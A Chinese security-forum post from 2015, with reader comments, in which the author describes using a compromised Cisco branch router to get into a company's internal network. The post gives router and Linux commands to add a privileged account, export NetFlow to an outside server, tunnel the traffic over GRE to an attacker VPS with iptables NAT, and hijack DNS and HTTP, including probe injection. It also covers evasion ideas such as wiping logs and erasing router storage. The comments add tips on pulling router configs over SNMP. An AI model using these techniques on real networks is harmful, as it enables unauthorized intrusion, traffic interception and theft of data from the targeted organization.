利用被入侵的路由器迈入内网

vodu 2015-09-25 10:23:00

去年开始利用路由器对目标内网进行渗透的方式方法开始研究,测试了一阵了。看到乌云之前有一篇翻译外国人的文章,讲路由器流量劫持的,利用条件苛刻,成效也不大。所以决定写一篇自己实测的例子。

0x01 控制路由器


现在只搞cisco的路由器,但是方法不限于cisco,华为,juniper什么的都可以。

这一步没有什么好的办法,我们利用分布式扫描抓到了一些路由器,再加上其他的漏洞,有了一定数量作为测试保证。

选择一台 cisco c800系列的小企业路由器(很老了)

图1 router version

进去之后,先查看日志,登陆认证相关信息。

图 2 router 登陆等相关信息

有一个登陆限制的acl,被我之前删掉了,这就找到了telnet的密码。同时没有开启aaa认证,也就不存在什么认证服务器什么的,就只有本地验证。没有任何日志服务器的配置,连snmp都没有配置(本来还想留一个snmp的后门,看来是不行了)。

赶紧添加账号密码,加固路由器,修复漏洞。

图3 添加特权账户

0x02 网络拓扑分析


基本操作完,赶紧保留一份完整的配置(这个不能完整的贴出来)然后分析基本网络架构。

总述就是这是一个公司的小分部,通过pppoe加nat上网,有一个公网ip地址,有一个10.xx.xx.0/24的内网地址,通过gre的隧道,和主公司相连,拥有更为庞大的内网。

这种网络形式是最为常见的,通过ISP拨号获取公网地址,然后内网机器通过nat上网。全公网ip地址的公司网络极为少见。

网络拓扑如下

图4 网络拓扑示意图

0x03 准备进入内网


内网机器通过NAT访问Google,同时内网受到NAT的保护。我们控制了R1这台路由器,处于内网出口;还有一台公网VPS,ubuntu12.04 。R2表示很多台路由器,没有控制权限。

由于想要进行内网渗透测试,需要获取更多的信息。我们另外添加一台公网VPS(win2008R)在上面架设流量监视服务器,分析内网日常流量和行为。

win2008搭建的是netflow服务器,在R1上配置netflow,来观测内网流量信息。netflow软件网上有好多,solarwind最好,支持sqlserver2005,能存储大量的数据,没找到破解版。我用的ManageEngine,到处都是破解版。

netflow配置:

ip flow-export so int e 0
ip flow-ex dst 1.1.1.1 8888
ip flow-ex ver 5
……

流量分析比较直观,公司日常工作流量都是通过GRE Tunnel到达主网络,日常流量以http和https为主,而且通过流量统计可以看出来,他们的dns绝大多数都是Google public dns,占了所有dns流量的90%以上。

图6 目标网络流量总览图

图7 流量分类示意图

统计出来的web流量,尝试去打开这些网页,我都打不开,都是提示404 Not Found或者就是证书错误。这样看不见到底访问的是什么网站,Google也都没有搜索记录,就只能勉强看一下bing的同站,结果记录还是特别少。

为了摸清这个内网更为详细的信息(公司叫什么名字,员工经常登陆什么网站,常用软件是什么),就只能先劫持一下DNS了。由于网络环境比较恶略,有个NAT使得网络复杂太多。所以不选择使用透明劫持方式,选择用网关劫持方式。

做一下名词解释:

透明劫持方式:自定义名词,即不修改数据包的源IP地址和目的IP地址,只对数据包的data和checksum进行修改。这样基本不会让用户和服务器引起任何察觉,做到完全透明,同时无法被杀软防火墙IPS之类的发觉,除了增加一些延迟。

网关劫持方式:顾名思义,就是作为一个网关,对经过我的流量进行路由和NAT,使得流量能够正常在Internet上传输。会产生较大的影响,以Gmail为例,会提示异地登陆等。

关于劫持有一条准侧(我总结的):在有防火墙或者NAT的环境中劫持流量,你在哪把数据包接走,必须得把数据包(被劫持的数据包或者该数据包的回包)送回到那里。

这里做一下解释,在NAT上网的环境中做GRE通道的流量劫持,会很麻烦。出方向数据包通过路径为先进入GRE Tunnel,然后作为一个GRE 数据包通过NAT,也就是NAT只对GRE数据包生效,并且记录下状态,不会对被包含在GRE 中的数据包进行NAT,所以入方向,无法通过NAT。 这样的解释适用于防火墙。

因为编程能力有限等考虑,决定使用网关劫持模式。

在R1的连接公网的端口和我的Linux eth0 建立GRE Tunnel

Linux IP 地址:1.1.1.1

路由器公网IP地址:2.2.2.2

R1的配置

en
conf t
int tunnel 1
tunnel so e0(接口名称,也可以使用接口IP地址,但是会出问题)
tunnel dest 1.1.1.1
ip add 12.1.1.1 255.255.255.252
end

linux Ubuntu 配置: 建立GRE Tunnel

#modprobe ip_gre
#lsmode | grep    

#ip tunnel add gre1 mode gre  remote 2.2.2.2 local 1.1.1.1 ttl 255
#ip link set gre1 up
#ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1

在Tunnel的两端都PING一下对端的IP地址,应该都是通的。

然后开启路由转发

将 /proc/sys/net/ip_forward 的数值修改为 1 (本次有效,重启后失效)

修改 /etc/sysctl.conf 文件,让包转发在系统启动时生效

net.ipv4.ip_forward = 1 前面的#号去掉

开启Iptables 的NAT

#iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58 

192的地址为需要做NAT的地址,202地址为已有公网IP地址,配置单词生效,重启后失效。

保存iptables 的规则 。

#service iptables save

添加内网路由

route add -net 10.0.0.0/8 gre1 

通往10.0.0.0这个八位的网络全部走gre1这个出口,即全部走GRE隧道。

然后利用我们自己开发的软件获取DNS数据内容 ,内容不方便贴出。

劫持了几天dns,看他们上了几天网之后,对内网有了个更为清楚的认识。进一步对HTTP数据包进行修改,加了个探针。探明之后再准备加入EXP获取内网权限,结果都是chrome,就放弃了。探针信息不方便贴出。

流量中还有telnet,ssh这类的流量,但是不能劫持,目的地址做了acl的限制,我的Linux不能访问,直接refuse。

0x04 进入内网


流量不能帮我获取内网权限,就只能自己进入内网。

强制劫持一个内网没有人用的合法IP地址,通过连接linux openVPN分配给自己,剩下只要在路由器添加这个地址的主机路由和在Linux上添加到10.xx.xx.xx/8 的默认路由,然后我的WorkStation就获得了内网访问权限(没有像VPN什么的限制,访问权限等同于路由器权限)。

如何让自己的WorkStation进入内网就是很随意的了,方法实在是太多,因为此时这台Ubuntu已经在内网中。openVPN配置和添加路由配置就不贴出了,网上太多。

图8 验证Ubuntu于内网的连通性

这样的内网渗透是有以下几个优点:

  1. 你所有的流量会被内网流量设备认为是内网流量,流量稍微大一点的内网,你可以随意下载文件,不用再关心流量过大引起报警。(理论,没脱过文件)
  2. 在路由器上做好隐藏,规避netflow监测,去掉日志,在临走的时候直接erease所有的存储器,你的行为在内网不可查。(理论,没做过)
  3. 如果地址劫持的合适,能绕过内网服务器的登陆限制(三层限制)。
  4. 时间把握的好,可以制造内网某员工从文件服务器大量下载文件的假象。(理论,没做过)

缺点

就一个,数据包不加密,这点很烦人,数据包基本全透明。要是路由器外没有安全设备了或者直接做一个IPSec Tunnel,就等同于没缺点。

总结,就是拥有极高的隐蔽性,远高于VPN,马什么的。连日志服务器都可以不怎么理他。

本文标题为迈入内网,并非内网渗透,不做内网渗透相关研究。

所有的敏感的信息已经修改涂掉。

0x05 后话


其他的一些小讨论

关于链路延迟,研究比较多,需要多说一点。以我劫持的Google为例,我在Google与内网路径的附近,并且是靠近Google的一端。

到Google的延迟平均为0.617ms

图9 Ubuntu 到Google延迟

路由器到Linux的延迟平均为256ms,路由器直接ping Google 平均延迟时180ms

图10 路由器网络延迟截图

Linux处理劫持数据,修改数据包的软件延迟约为5ms,所以预估劫持之后的延迟应该在260ms左右。

但是,经过劫持之后,到目标的延迟为248,该数值小于256ms+0.6ms+5ms,至于为什么,无法解释。

总体延迟影响,增加了180ms的三分之一,60ms左右。

之前我们对延迟有过较多的讨论:增加了延迟的三分之一,影响会比较明显,容易被察觉从而引发报警。我个人认为,大家上百度比平时延迟增加了500ms,或是1s,就算是baidu的运维,在检查完IP地址,看完tracert之后,也就骂骂运营商。更何况一般网络用户不会认为是运营商的问题,只会认为是不是自己电脑卡了,可能有人怀疑自己被网络劫持了么。

关于内网路由器的讨论,本文研究的路由器为网络边界路由器,至少有一个公网IP地址。当路由器或者三层交换处于内网中,劫持能否使用,答案是可以的。通过建立七层应用层隧道(GRE为三层网络层隧道),就像我们个人电脑一样,穿过内网。或者直接同内网的一台服务器建立连接,劫持数据(经过验证,但是公网测试时,对端是一台公网CISCO路由器2911,没试过服务器,开发能力有限)。

如果需要穿透内网,需要应用层VPN,例如IPSec VPN,EZ VPN (我测试了这俩,其他的高于三层的VPN都理论可行)等,配置比GRE Tunnel复杂的多,但懂了原理配置还是很简单的。配置实在是贴不完。IP Sec VPN理论上应该可以向IP Sec VPN 服务器建立连接,我没成功,还在理论层面研究。EZ VPN ,CISCO专有,肯定不能在WIN或者linux上搭建服务器。

关于驻留,通过路由器扩展内网驻留或者路由器后门驻留,比马什么的好太多了,除了NSA和fireeye,没听说过谁接触过过路由器后门的。国内绝对是通杀,会配置路由器的都没几个人,更别说反查。

关于HTTPS的讨论:绿标这个问题确实比较头疼,我目前尝试能过的就是嵌套,在绿标中插入红标,最后用户看到的还是绿标。

关于流量劫持软件,网上都说劫持软件多如牛毛,但是实际上找下来,就没有一个可以拿来直接用的,尤其是在透明劫持这个模式下,没发现能直接用的,像什么MITMproxy什么什么的,大家都说好,实际测试一下,也就适合开发人员调试软件,所以只能自己开发,但是开发能力有限。

希望大家推荐一些,能效率很高的处理大流量(例如BGP劫持)的软件。

评论

I

if、so 2015-09-25 15:07:52

@CCIE 你行你上啊,把您的东西放出来,就知道bb,嘴强王者,逗

F

Fire ant 2015-09-25 15:35:37

当初我劫持的时候....学校网络监控上红了一片...

眯眯眼 2015-09-25 17:04:25

@CCIE 你会玩路由器吗。你碰过cisco的路由器吗 。喷子

V

vodu 2015-09-25 17:04:44

@CCIE 网络安装工程师会还要给你流量上探针,分析,上EXP,劫持telnet,抓取密码,数据下载替换,种马,留后门。然后批量劫持流量抓去你的hash,控制内网。这网络工安装人员也是厉害啊。 你是IE么,号多少,不出意外,我的号应该比你的小。

V

vodu 2015-09-25 17:07:44

@Fire ant 这是个科技公司的内网,被人中了DNS马,所以DNS信息不能给你们看。我在流控设备上没有看见任何报警。不知道你是做了什么,引发了报警。如果你可以分享一下报警内容,我们可以一起讨论下。

V

vodu 2015-09-25 17:09:52

@Spy4mnn 这个真的不是敏感内容,也很简单,我们是拿C++写的一个简单的小程序,捕获端口为53的udp包,提取出来他的查询,然后写到文件中。

刘海哥 2015-09-25 20:26:43

这方面好空!求继续来点干货

V

vodu 2015-09-25 23:03:55

@spy4man 在大型内网中有的流量是很难分离的,就像正常的网页数据和下载数据, 全是http或者https的实在是难以区分,所以为了降低对服务器的压力,我认为有两个方法,第一,劫持dns数据包(当劫持运营商级别的DNS的时候,也不能全抓,不然DNS包比ddos还可怕,当初我们点错,加了个any,链路down了。。。都不是服务器down)精确的找到要的目的地址和源地址,然后精确的取抓这个点到点的流量。第二,当很盲目的时候,就只能拼时间,十个十个的劫持,没有什么好的,再换十个,这样一直下去。动静一定要小一点,千万别any any eq 80,你碰到个看电影的就死了。。。目的一定要精确。。。

路人甲 2015-09-26 00:17:00

不錯,學習了

D

Deep. 2015-09-26 13:30:26

先感谢分享, 之前遇到过一个核心交换机做netflow,服务器直接承受不住挂掉,然后考虑定点劫持,比如只做某台内网机器,或者只针对owa类似做劫持,但是owa又遇到https的问题,想问下lz有没有好的想法或案例,谢谢

V

vodu 2015-09-26 19:26:47

@Deep.
三层交换,使用mls来做netflow,netflow基于端口,削减需要监控的端口;同时在端口内,选择进方向或者出方向的流量(egress or ingress)你是65系列还是万号或者csr插的板卡,这个命令应该全版本支持。
如果这样还不行,netflowyou一系列特性例如:“NetFlow aggregation”,“NetFlow sampling”,“NDE flow filters”,“NetFlow Cache Entries”。可以做到在flow cache 中,基于 时间,分组,源地址,目的地址,协议(tcp,udp,ip,等),端口号等一些列因素进行过滤。
关于如何配置,下面是65系列netflow官方配置说明于示例,其他型号配置略有区别,也只是略有区别。
(“http://www.cisco.com/c/en/us/support/docs/switches/catalyst-6500-series-switches/70974-netflow-catalyst6500.html”)
关于真实性,我没有在真实设备上做过这个多特性,我不知道是否有用。但是这毕竟是CISCO官方说的,不像没节操的中国企业,CISCO说能做到,应该就是能做到的。有问题可能就是配置的问题。
但是过滤做的越详细,耗费系统资源也就越大,注意权衡。

S

ssr 2015-09-28 00:17:31

有时候客户会报障阿.通过cisco tcl探测一些内网机器 web ssh 3889 这些然后端口映射出来开干啊。这样方便很多啊。劫持的话一是动静大,有时候网络慢一点别人就会立即投诉啊。那就拜拜了。。

_

_Evil 2015-10-09 15:42:18

看了lz的文章 Good.
之前我也看一些老外的paper,去年Freebuf在深圳沙龙中安网域的CEO讲了讲类似paper.
只有一个webshell与世隔绝(出不来),只能自写脚本或者http tunle 来干点活儿.
snmp (我用网上的perl脚本) 这个玩意的口令或许能读取一点点信息,请问lz有较为通用读取route密码的指令吗?
如:Cisco系列,juniper系列.... 很多时候奇奇怪怪的设备,你能读取到也没啥用.
Upnp NAT-PMP 两个UDP端口. 这个利用起来没有成功经验 ...

V

vodu 2015-10-13 20:34:43

@_Evil 通过snmp读取cisco的router的配置,需要读写权限,就是读写权限的community,关于软件,这个倒是很多的,我用的是solarwind的snmp软件,如果权限够,能直接读取配置,傻瓜操作,很方便。juniper的也是读写权限的community,solarwind也是支持juniper读取配置。关于国内产品,我基本不接触,帮不了你。国外的绝大多是都可以用solarwind的snmp完成读取修改配置。

M

Mazing 2016-06-12 19:34:53

能用vpn连接获取ip进行下一步吗。

V

vodu

CCIE 安全渗透 云计算研究

twitter weibo github wechat

随机分类

安全管理 文章:7 篇
区块链 文章:2 篇
密码学 文章:13 篇
IoT安全 文章:29 篇
逆向安全 文章:70 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录